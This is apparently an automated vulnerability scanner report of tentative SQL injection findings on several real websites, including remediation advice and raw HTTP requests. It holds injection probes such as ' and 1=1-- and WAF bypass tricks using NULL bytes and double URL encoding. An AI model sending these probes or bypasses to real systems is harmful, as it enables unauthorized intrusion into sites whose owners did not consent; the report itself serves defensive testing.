SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.
Various attacks can be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and executing operating system commands.
Issue remediation
The most effective way to prevent SQL injection attacks is to use parameterised queries (also known as prepared statements) for all database access. This method uses two steps to incorporate potentially tainted data into SQL queries: first, the application specifies the structure of the query, leaving placeholders for each item of user input; second, the application specifies the contents of each placeholder. Because the structure of the query has already defined in the first step, it is not possible for malformed data in the second step to interfere with the query structure. You should review the documentation for your database and application platform to determine the appropriate APIs which you can use to perform parameterised queries. It is strongly recommended that you parameterise every variable data item that is incorporated into database queries, even if it is not obviously tainted, to prevent oversights occurring and avoid vulnerabilities being introduced by changes elsewhere within the code base of the application.
You should be aware that some commonly employed and recommended mitigations for SQL injection vulnerabilities are not always effective:
One common defence is to double up any single quotation marks appearing within user input before incorporating that input into a SQL query. This defence is designed to prevent malformed data from terminating the string in which it is inserted. However, if the data being incorporated into queries is numeric, then the defence may fail, because numeric data may not be encapsulated within quotes, in which case only a space is required to break out of the data context and interfere with the query. Further, in second-order SQL injection attacks, data that has been safely escaped when initially inserted into the database is subsequently read from the database and then passed back to it again. Quotation marks that have been doubled up initially will return to their original form when the data is reused, allowing the defence to be bypassed.
Another often cited defence is to use stored procedures for database access. While stored procedures can provide security benefits, they are not guaranteed to prevent SQL injection attacks. The same kinds of vulnerabilities that arise within standard dynamic SQL queries can arise if any SQL is dynamically constructed within stored procedures. Further, even if the procedure is sound, SQL injection can arise if the procedure is invoked in an unsafe manner using user-controllable data.
The a parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the a parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /mr/e.gif?info=%7Bn%3Ac%7Cc%3A169998136545839%7Cd%3A1%7Ca%3AFE4F88%7Ch%3A1%7Ce%3A%7Cb%3A%7Cl%3Ahttp%24*%24%2F%2Fwww.incorp.com%2F%7Cm%3A1920%7Co%3A1200%7Cp%3AWin32%7Cg%3AChrome%7Cf%3A14.0.835.186%7D%7Bn%3Au%7Ce%3A1%7D&a=FE4F88'&r=1&s=1 HTTP/1.1 Host: fe4f88.r.axf8.net Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: */* Referer: http://www.incorp.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The lmt parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the lmt parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The application attempts to block SQL injection attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request 1
GET /pagead/ads?client=ca-pub-9557030546015098&output=html&h=125&slotname=6401409148&w=125&lmt=1317406604%00'&flash=10.3.183&url=http%3A%2F%2Fwww.abritel.fr%2Fannonces%2Flocation-vacances%2Ffrance_provence-alpes-cote%2520d'azur_dt0.php&dt=1317388604443&bpp=246&shv=r20110921&jsv=r20110914&correlator=1317388604774&frm=4&adk=1455022710&ga_vid=811642571.1317388383&ga_sid=1317388383&ga_hid=525265988&ga_fc=1&u_tz=-300&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=22&u_nmime=104&dff=helvetica&dfs=14&adx=102&ady=2881&biw=1067&bih=877&ref=http%3A%2F%2Fwww.abritel.fr%2F&prodhost=googleads.g.doubleclick.net&fu=0&ifi=1&dtd=475&xpc=djlPO5jEz9&p=http%3A//www.abritel.fr HTTP/1.1 Host: googleads.g.doubleclick.net Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=OPT_OUT
Response 1
HTTP/1.1 200 OK P3P: policyref="http://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Content-Type: text/html; charset=UTF-8 X-Content-Type-Options: nosniff Date: Fri, 30 Sep 2011 13:19:05 GMT Server: cafe Cache-Control: private Content-Length: 7780 X-XSS-Protection: 1; mode=block
GET /pagead/ads?client=ca-pub-9557030546015098&output=html&h=125&slotname=6401409148&w=125&lmt=1317406604%00''&flash=10.3.183&url=http%3A%2F%2Fwww.abritel.fr%2Fannonces%2Flocation-vacances%2Ffrance_provence-alpes-cote%2520d'azur_dt0.php&dt=1317388604443&bpp=246&shv=r20110921&jsv=r20110914&correlator=1317388604774&frm=4&adk=1455022710&ga_vid=811642571.1317388383&ga_sid=1317388383&ga_hid=525265988&ga_fc=1&u_tz=-300&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=22&u_nmime=104&dff=helvetica&dfs=14&adx=102&ady=2881&biw=1067&bih=877&ref=http%3A%2F%2Fwww.abritel.fr%2F&prodhost=googleads.g.doubleclick.net&fu=0&ifi=1&dtd=475&xpc=djlPO5jEz9&p=http%3A//www.abritel.fr HTTP/1.1 Host: googleads.g.doubleclick.net Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=OPT_OUT
Response 2
HTTP/1.1 200 OK P3P: policyref="http://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Content-Type: text/html; charset=UTF-8 X-Content-Type-Options: nosniff Date: Fri, 30 Sep 2011 13:19:07 GMT Server: cafe Cache-Control: private Content-Length: 6184 X-XSS-Protection: 1; mode=block
The REST URL parameter 3 appears to be vulnerable to SQL injection attacks. The payloads '%20and%201%3d1--%20 and '%20and%201%3d2--%20 were each submitted in the REST URL parameter 3. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
Request 1
GET /ui/stylesheets/common.css'%20and%201%3d1--%20?v=20110826 HTTP/1.1 Host: i.glimg.net Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: text/css,*/*;q=0.1 Referer: http://www.golflink.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response 1
HTTP/1.1 404 Not Found Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Content-Type: text/html; charset=utf-8 Content-Length: 16086 Cache-Control: private, max-age=31536000 Date: Fri, 30 Sep 2011 13:12:29 GMT Connection: close Vary: Accept-Encoding
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"> <head><title> Page Not Fou ...[SNIP]... <div id="ctl00_ctl00_Content_PromoStripe1_BG" style="text-align:center;background-image:url(http://i.glimg.net/img/promo-bar/TT-Promo_strip-03-bg.gif);"><a href="http://www.golflink.com/golf-courses/golf-tee-times/"><img src="http://ui.glimg.net/img/promo-bar/TT-Promo_strip-03.gif" alt="" /></a></div>
<div class="background_404"> <div class="title_404"> Whoops, this page is out of bounds! </div> <div class="title_404"> 404 - Page can not be found </div> <div class="subtitle_404"> Wait, why am I here? </div> <div class="text_404"> Welcome to a 404 page. You are here because the page you have requested doesn't exist, at least not at this location. </div> <div class="search_404"> <input name="ctl00$ctl00$Content$Content$SearchBox" type="text" id="ctl00_ctl00_Content_Content_SearchBox" class="input" /> <input type="submit" name="ctl00$ctl00$Content$Content$SearchSubmit" value="search" id="ctl00_ctl00_Content_Content_SearchSubmit" /> </div>
<div class="text_404"> Did you try searching? Enter a keyword(s) in the search field above. Or, try one of the links below. </div> </div>
<div style="width: 775px; margin: 20px auto;"> <ul id="QuickLinks" class="flc"> <li><a href="/golf-courses/course-directory.aspx">Find a Course</a></li> <li><a hre ...[SNIP]...
Request 2
GET /ui/stylesheets/common.css'%20and%201%3d2--%20?v=20110826 HTTP/1.1 Host: i.glimg.net Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: text/css,*/*;q=0.1 Referer: http://www.golflink.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response 2
HTTP/1.1 404 Not Found Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Content-Type: text/html; charset=utf-8 Content-Length: 16169 Cache-Control: private, max-age=31536000 Date: Fri, 30 Sep 2011 13:12:29 GMT Connection: close Vary: Accept-Encoding
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"> <head><title> Page Not Fou ...[SNIP]... <div id="ctl00_ctl00_Content_PromoStripe1_BG" style="text-align:center;background-image:url(http://i.glimg.net/img/promo-bar/promo-bar-bg.gif);"><a href="https://i.glimg.net/subscribe.aspx?h=360&r=%2fui%2fstylesheets%2fcommon.css'+and+1%3d2--+%3fv%3d20110826"><img src="http://ui.glimg.net/img/promo-bar/promo-bar-signed-out.gif" alt="Sign In or Start your 14-Day Free Trial!" /></a></div>
<div class="background_404"> <div class="title_404"> Whoops, this page is out of bounds! </div> <div class="title_404"> 404 - Page can not be found </div> <div class="subtitle_404"> Wait, why am I here? </div> <div class="text_404"> Welcome to a 404 page. You are here because the page you have requested doesn't exist, at least not at this location. </div> <div class="search_404"> <input name="ctl00$ctl00$Content$Content$SearchBox" type="text" id="ctl00_ctl00_Content_Content_SearchBox" class="input" /> <input type="submit" name="ctl00$ctl00$Content$Content$SearchSubmit" value="search" id="ctl00_ctl00_Content_Content_SearchSubmit" /> </div>
<div class="text_404"> Did you try searching? Enter a keyword(s) in the search field above. Or, try one of the links below. </div> </div>
The User-Agent HTTP header appears to be vulnerable to SQL injection attacks. A single quote was submitted in the User-Agent HTTP header, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
<html xmlns="http://www.w3.org/1999/xhtml" > <head> <title id="ttlMain">Incorporate / Form Corporation Online: MyLLC.com, Inc.</title> <meta name="verify-v1" content="Pj5FS/n4/usZ4M79S5VP+pJ7uJ ...[SNIP]... <i>"MyLLC.com was a pleasure to do business with. The exceptional staff has amazing work ethic and helped in answering all my questions. They have terrific customer service and always got back to me immediately. I wouldn't use another company than MyLLC.com. They ...[SNIP]...
1.5. http://www.myllc.com/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Tentative
Host:
http://www.myllc.com
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The application attempts to block SQL injection attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
<html xmlns="http://www.w3.org/1999/xhtml" > <head> <title id="ttlMain">Incorporate / Form Corporation Online: MyLLC.com, Inc.</title> <meta name="verify-v1" content="Pj5FS/n4/usZ4M79S5VP+pJ7uJ ...[SNIP]... <i>"MyLLC.com was a pleasure to do business with. The exceptional staff has amazing work ethic and helped in answering all my questions. They have terrific customer service and always got back to me immediately. I wouldn't use another company than MyLLC.com. They ...[SNIP]...
The BIGipServerimages cookie appears to be vulnerable to SQL injection attacks. A single quote was submitted in the BIGipServerimages cookie, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The application attempts to block SQL injection attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
HTTP/1.1 200 OK Date: Fri, 30 Sep 2011 13:18:17 GMT Server: KomHttpServer/7.1.3 (unix) Expires: Wed, 11 Jun 1980 12:00:00 GMT Cache-Control: no-cache, must-revalidate Pragma: no-cache Author: Ramon Leon found at http://onsmalltalk.com Content-type: text/html;charset=utf-8 Set-Cookie: checkin=; expires=Sat, 3-January-2009 13:18:17 GMT; path=/v6 Set-Cookie: siteId=64; expires=Sat, 29-September-2012 13:18:17 GMT; path=/v6 Set-Cookie: currency=USD; expires=Sat, 29-September-2012 13:18:17 GMT; path=/v6 Via: 1.1 www.reservetravel.com Vary: Accept-Encoding P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTR STP IND DEM" Content-Length: 120654
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head><title>Chicago, IL ...[SNIP]...
The BIGipServerlinux cookie appears to be vulnerable to SQL injection attacks. A single quote was submitted in the BIGipServerlinux cookie, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
HTTP/1.1 200 OK Date: Fri, 30 Sep 2011 13:18:12 GMT Server: KomHttpServer/7.1.3 (unix) Expires: Wed, 11 Jun 1980 12:00:00 GMT Cache-Control: no-cache, must-revalidate Pragma: no-cache Author: Ramon Leon found at http://onsmalltalk.com Content-type: text/html;charset=utf-8 Set-Cookie: checkin=; expires=Sat, 3-January-2009 13:18:12 GMT; path=/v6 Set-Cookie: siteId=64; expires=Sat, 29-September-2012 13:18:12 GMT; path=/v6 Set-Cookie: currency=USD; expires=Sat, 29-September-2012 13:18:12 GMT; path=/v6 Via: 1.1 www.reservetravel.com Vary: Accept-Encoding P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTR STP IND DEM" Content-Length: 120654
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head><title>Chicago, IL ...[SNIP]...
The Referer HTTP header appears to be vulnerable to SQL injection attacks. A single quote was submitted in the Referer HTTP header, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /v6?siteid=64& HTTP/1.1 Host: www.reservetravel.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://www.google.com/search?hl=en&q=' Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response 1
HTTP/1.1 503 Service Unavailable Date: Fri, 30 Sep 2011 13:14:09 GMT Server: KomHttpServer/7.1.3 (unix) Content-type: text/html;charset=utf-8 Via: 1.1 www.reservetravel.com Vary: Accept-Encoding P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTR STP IND DEM" Content-Length: 107 X-Cnection: close
<html><head><meta http-equiv="refresh" content="1"></head><body>Stand by one second please...</body></html>
Request 2
GET /v6?siteid=64& HTTP/1.1 Host: www.reservetravel.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://www.google.com/search?hl=en&q='' Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response 2
HTTP/1.1 200 OK Date: Fri, 30 Sep 2011 13:14:10 GMT Server: KomHttpServer/7.1.3 (unix) Expires: Wed, 11 Jun 1980 12:00:00 GMT Cache-Control: no-cache, must-revalidate Pragma: no-cache Author: Ramon Leon found at http://onsmalltalk.com Content-type: text/html;charset=utf-8 Set-Cookie: checkin=; expires=Sat, 3-January-2009 13:14:10 GMT; path=/v6 Set-Cookie: siteId=64; expires=Sat, 29-September-2012 13:14:10 GMT; path=/v6 Set-Cookie: currency=USD; expires=Sat, 29-September-2012 13:14:10 GMT; path=/v6 Via: 1.1 www.reservetravel.com Vary: Accept-Encoding P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTR STP IND DEM" Content-Length: 47174
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head><title>ReserveTrav ...[SNIP]...
The Referer HTTP header appears to be vulnerable to SQL injection attacks. A single quote was submitted in the Referer HTTP header, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The application attempts to block SQL injection attacks but this can be circumvented by double URL-encoding the blocked characters - for example, by submitting %2527 instead of the ' character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of the Referer HTTP header as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
HTTP/1.1 200 OK Date: Fri, 30 Sep 2011 13:18:26 GMT Server: KomHttpServer/7.1.3 (unix) Expires: Wed, 11 Jun 1980 12:00:00 GMT Cache-Control: no-cache, must-revalidate Pragma: no-cache Author: Ramon Leon found at http://onsmalltalk.com Content-type: text/html;charset=utf-8 Set-Cookie: checkin=; expires=Sat, 3-January-2009 13:18:26 GMT; path=/v6 Set-Cookie: siteId=64; expires=Sat, 29-September-2012 13:18:26 GMT; path=/v6 Set-Cookie: currency=USD; expires=Sat, 29-September-2012 13:18:26 GMT; path=/v6 Via: 1.1 www.reservetravel.com Vary: Accept-Encoding P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTR STP IND DEM" Content-Length: 120654
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head><title>Chicago, IL ...[SNIP]...
The User-Agent HTTP header appears to be vulnerable to SQL injection attacks. A single quote was submitted in the User-Agent HTTP header, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /v6?siteid=64& HTTP/1.1 Host: www.reservetravel.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1' Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://www.mcafeesecure.com/us/forconsumers/mcafee_certified_sites.jsp?c1=16&c2=107 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response 1
HTTP/1.1 503 Service Unavailable Date: Fri, 30 Sep 2011 13:14:06 GMT Server: KomHttpServer/7.1.3 (unix) Content-type: text/html;charset=utf-8 Via: 1.1 www.reservetravel.com Vary: Accept-Encoding P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTR STP IND DEM" Content-Length: 107 X-Cnection: close
<html><head><meta http-equiv="refresh" content="1"></head><body>Stand by one second please...</body></html>
Request 2
GET /v6?siteid=64& HTTP/1.1 Host: www.reservetravel.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1'' Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://www.mcafeesecure.com/us/forconsumers/mcafee_certified_sites.jsp?c1=16&c2=107 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response 2
HTTP/1.1 200 OK Date: Fri, 30 Sep 2011 13:14:07 GMT Server: KomHttpServer/7.1.3 (unix) Expires: Wed, 11 Jun 1980 12:00:00 GMT Cache-Control: no-cache, must-revalidate Pragma: no-cache Author: Ramon Leon found at http://onsmalltalk.com Content-type: text/html;charset=utf-8 Set-Cookie: checkin=; expires=Sat, 3-January-2009 13:14:7 GMT; path=/v6 Set-Cookie: siteId=64; expires=Sat, 29-September-2012 13:14:7 GMT; path=/v6 Set-Cookie: currency=USD; expires=Sat, 29-September-2012 13:14:7 GMT; path=/v6 Via: 1.1 www.reservetravel.com Vary: Accept-Encoding P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTR STP IND DEM" Content-Length: 47174
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head><title>ReserveTrav ...[SNIP]...
The User-Agent HTTP header appears to be vulnerable to SQL injection attacks. A single quote was submitted in the User-Agent HTTP header, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The application attempts to block SQL injection attacks but this can be circumvented by double URL-encoding the blocked characters - for example, by submitting %2527 instead of the ' character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of the User-Agent HTTP header as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
HTTP/1.1 200 OK Date: Fri, 30 Sep 2011 13:18:23 GMT Server: KomHttpServer/7.1.3 (unix) Expires: Wed, 11 Jun 1980 12:00:00 GMT Cache-Control: no-cache, must-revalidate Pragma: no-cache Author: Ramon Leon found at http://onsmalltalk.com Content-type: text/html;charset=utf-8 Set-Cookie: checkin=; expires=Sat, 3-January-2009 13:18:23 GMT; path=/v6 Set-Cookie: siteId=64; expires=Sat, 29-September-2012 13:18:23 GMT; path=/v6 Set-Cookie: currency=USD; expires=Sat, 29-September-2012 13:18:23 GMT; path=/v6 Via: 1.1 www.reservetravel.com Vary: Accept-Encoding P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTR STP IND DEM" Content-Length: 120654
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head><title>Chicago, IL ...[SNIP]...
The __utma cookie appears to be vulnerable to SQL injection attacks. A single quote was submitted in the __utma cookie, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
HTTP/1.1 200 OK Date: Fri, 30 Sep 2011 13:17:55 GMT Server: KomHttpServer/7.1.3 (unix) Expires: Wed, 11 Jun 1980 12:00:00 GMT Cache-Control: no-cache, must-revalidate Pragma: no-cache Author: Ramon Leon found at http://onsmalltalk.com Content-type: text/html;charset=utf-8 Set-Cookie: checkin=; expires=Sat, 3-January-2009 13:17:55 GMT; path=/v6 Set-Cookie: siteId=64; expires=Sat, 29-September-2012 13:17:55 GMT; path=/v6 Set-Cookie: currency=USD; expires=Sat, 29-September-2012 13:17:55 GMT; path=/v6 Via: 1.1 www.reservetravel.com Vary: Accept-Encoding P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTR STP IND DEM" Content-Length: 120654
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head><title>Chicago, IL ...[SNIP]...
The __utmb cookie appears to be vulnerable to SQL injection attacks. A single quote was submitted in the __utmb cookie, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The application attempts to block SQL injection attacks but this can be circumvented by double URL-encoding the blocked characters - for example, by submitting %2527 instead of the ' character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of the __utmb cookie as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
HTTP/1.1 200 OK Date: Fri, 30 Sep 2011 13:17:58 GMT Server: KomHttpServer/7.1.3 (unix) Expires: Wed, 11 Jun 1980 12:00:00 GMT Cache-Control: no-cache, must-revalidate Pragma: no-cache Author: Ramon Leon found at http://onsmalltalk.com Content-type: text/html;charset=utf-8 Set-Cookie: checkin=; expires=Sat, 3-January-2009 13:17:58 GMT; path=/v6 Set-Cookie: siteId=64; expires=Sat, 29-September-2012 13:17:58 GMT; path=/v6 Set-Cookie: currency=USD; expires=Sat, 29-September-2012 13:17:58 GMT; path=/v6 Via: 1.1 www.reservetravel.com Vary: Accept-Encoding P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTR STP IND DEM" Content-Length: 120654
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head><title>Chicago, IL ...[SNIP]...
The __utmc cookie appears to be vulnerable to SQL injection attacks. A single quote was submitted in the __utmc cookie, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The application attempts to block SQL injection attacks but this can be circumvented by double URL-encoding the blocked characters - for example, by submitting %2527 instead of the ' character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of the __utmc cookie as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
HTTP/1.1 200 OK Date: Fri, 30 Sep 2011 13:18:01 GMT Server: KomHttpServer/7.1.3 (unix) Expires: Wed, 11 Jun 1980 12:00:00 GMT Cache-Control: no-cache, must-revalidate Pragma: no-cache Author: Ramon Leon found at http://onsmalltalk.com Content-type: text/html;charset=utf-8 Set-Cookie: checkin=; expires=Sat, 3-January-2009 13:18:1 GMT; path=/v6 Set-Cookie: siteId=64; expires=Sat, 29-September-2012 13:18:1 GMT; path=/v6 Set-Cookie: currency=USD; expires=Sat, 29-September-2012 13:18:1 GMT; path=/v6 Via: 1.1 www.reservetravel.com Vary: Accept-Encoding P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTR STP IND DEM" Content-Length: 120654
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head><title>Chicago, IL ...[SNIP]...
The __utmv cookie appears to be vulnerable to SQL injection attacks. A single quote was submitted in the __utmv cookie, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The application attempts to block SQL injection attacks but this can be circumvented by double URL-encoding the blocked characters - for example, by submitting %2527 instead of the ' character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of the __utmv cookie as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
